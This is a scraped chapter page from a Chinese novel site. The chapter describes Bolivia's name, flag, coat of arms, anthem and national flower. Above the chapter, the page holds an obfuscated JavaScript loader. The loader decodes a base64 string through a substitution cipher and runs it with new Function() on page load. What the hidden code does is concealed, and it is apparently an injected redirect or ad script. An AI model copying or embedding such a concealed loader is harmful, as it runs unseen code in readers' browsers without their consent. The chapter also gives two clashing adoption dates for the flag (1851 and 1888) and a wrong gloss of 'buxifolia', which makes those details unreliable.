当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一页
目录 | 设置
下一章

第997集(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

国名

玻利维亚以西蒙·玻利瓦尔 (Simón Bolívar)的名字命名,西蒙·玻利瓦尔 (Simón Bolívar ) 是西班牙裔美国独立战争中的委内瑞拉领导人。委内瑞拉领导人安东尼奥·何塞·德·苏克雷( Antonio José de Sucre )得到玻利瓦尔的选择权,要么将Charcas (今玻利维亚)与新成立的秘鲁共和国联合起来,要么联合起来与拉普拉塔联合省,或正式宣布从西班牙独立为一个完全独立的国家。苏克雷选择创建一个全新的国家,并于1825 年8 月6 日在当地的支持下,以西蒙·玻利瓦尔( Simón Bolívar )的名字命名。

原名玻利瓦尔共和国。几天后,国会议员曼努埃尔·马丁·克鲁兹提议:“如果来自罗马的罗穆卢斯,那么来自玻利维亚的玻利瓦尔” (西班牙语:Si de Rómulo, Roma; de Bolívar, Bolivia)。该名称于1825 年10 月3日获得共和国批准。2009年,一个新宪法将国家的正式名称改为“多民族玻利维亚国” ,以承认该国的多民族性质以及玻利维亚土着人民在新宪法下的地位得到提高。

国旗

玻利维亚国旗启用于1851年10月31日,国旗呈长方形,长宽之比为22:15。旗面自上而下由红黄绿三个平行相等的长方形组成,中间绘有国徽。

玻利维亚国旗是代表南美洲内陆国家玻利维亚多民族国政府的旗帜。此面旗帜正式制定于1888年。由红黄绿三色横条组成。政府旗与军旗在黄条的正中央还镶有着玻利维亚的国徽。旗面上的红色象征着人民作战时的英勇气概;黄色象征着玻利维亚境内丰富的矿产资源;绿色象征着玻利维亚的经济重点---农业。

虽然玻利维亚是一个内陆国,但还是保留着在因1879年至1883年硝石战争丧失其唯一滨海省份前的舰旗。此面舰旗主要被用在玻利维亚境内河湖中的船只上。

国徽

玻利维亚国徽中间为椭圆形,圆面上有太阳、山峰、面包树、驼羊、谷物等图案。圆周下半部有十颗五角星,代表组成玻利维亚的九个省和被智利夺去的沿海省;上半部用西班牙文写着“玻利维亚”。椭圆形两侧各悬挂三面国旗;背后交叉着束棒和武器,象征权威;左边的束棒顶端有一顶“自由之帽”。椭圆形上端是一只被称为神鹰的大兀鹰,象征力量和自由。鹰两旁饰有月桂枝和橄榄枝,代表该国人民对民族自由的自豪感和与其他国家人民和睦相处的愿望。

国歌

《玻利维亚人,有利命运》

歌词:玻利维亚人,我们的愿望终于盼来了美好的命运,自由已经来到了祖国,我们结束了奴隶身份。昨天还是战争的骚动气氛,还是可怕的弹雨枪林,今天却是优美的和平曲调,团结歌声高唱入云,为了保持祖国的荣誉,我们发出新的庄严的誓语,“自由人民宁死不屈!”

国花

三色魔力花(学名:Cantua buxifolia):为花荵科魔力花属植物,拉丁语buxifolia的意思是“像叶子一样的盒子”。一种常绿灌木,可生长到4米高,2.5米宽。早春的的小叶子粉红色,具狭窄管状花簇。有红色的花瓣,黄色瓶颈和绿色的花萼,如同玻利维亚国旗的颜色,所以被尊为玻利维亚国花。分布于玻利维亚、智利北部和秘鲁。

喜欢大史记请大家收藏:大史记本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间